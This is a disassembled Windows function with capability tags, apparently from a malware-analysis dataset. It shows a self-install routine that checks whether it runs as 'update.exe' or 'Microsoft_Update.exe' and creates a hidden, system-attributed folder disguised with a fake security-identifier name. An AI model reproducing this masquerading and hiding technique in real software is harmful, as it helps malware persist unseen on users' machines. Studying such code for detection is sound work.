Function at 0x402e70
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
sub esp, 0xe80
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x62a]
mov word [esp + 0x628], bx
mov word [esp + 0x830], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x832]
mov word [esp + 0x420], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x422]
mov word [esp + 0x218], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x21a]
mov word [esp + 0x10], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x12]
mov word [esp + 0xa38], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0xa3a]
mov ebp, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x628]
push ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0x62c]
push 0x1c
push eax
push ebx
call ebp
lea ecx, [esp + 0x628]
push str.Start
push ecx
call fcn.00403aff
lea edx, [esp + 0x630]
push str.update.exe
push edx
call fcn.00403aff
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x840]
add esp, 0x10
rep stosd dword es:[edi], eax
lea eax, [esp + 0x830]
push 0x104
push eax
push ebx
call esi
lea ecx, [esp + 0x830]
lea edx, [esp + 0x628]
push ecx
push edx
call fcn.00403aca
add esp, 8
test eax, eax
je 0x403122
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0xa38]
push ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xa3c]
push 0x1c
push eax
push ebx
call ebp
lea ecx, [esp + 0xa38]
push str.Microsoft_Update.exe
push ecx
call fcn.00403aff
lea edx, [esp + 0x838]
lea eax, [esp + 0xa40]
push edx
push eax
call fcn.00403aca
add esp, 0x10
test eax, eax
je 0x403122
mov ecx, 0x82
xor eax, eax
lea edi, [esp + 0x420]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, 0x82
lea edi, [esp + 0x21c]
rep stosd dword es:[edi], eax
mov ecx, 0x82
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push ecx
push ebx
call esi
lea edx, [esp + 0x10]
push edx
call fcn.00403b7f
mov word [esp + eax*2 + 0xc], bx
lea eax, [esp + 0x14]
lea ecx, [esp + 0x424]
push eax
push ecx
call fcn.00403b29
lea edx, [esp + 0x42c]
push 0x5c
push edx
call fcn.004041e3
add esp, 0x14
mov esi, eax
lea eax, [esp + 0x218]
add esi, 2
push ebx
push 0x1c
push eax
push ebx
call ebp
lea ecx, [esp + 0x218]
push str.S_1_5_31_1286970278978_5713669491_166975984_320Rotinom_
push ecx
call fcn.00403aff
lea edx, [esp + 0x220]
push esi
push edx
call fcn.00403aff
lea eax, [esp + 0x20]
lea ecx, [esp + 0x430]
push eax
push ecx
call fcn.00403b29
lea edx, [esp + 0x28]
push 0x4161b4
push edx
call fcn.00403aff
lea eax, [esp + 0x238]
push 0x4161b4
push eax
call fcn.00403aff
add esp, 0x28
lea ecx, [esp + 0xc40]
lea edx, [esp + 0x420]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
jne 0x40311d
lea eax, [esp + 0x10]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x4030fb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe80
ret
lea ecx, [esp + 0x10]
push 7
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x218]
push edx
push eax
call fcn.00401b70
add esp, 8
call fcn.00402550
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xe80
ret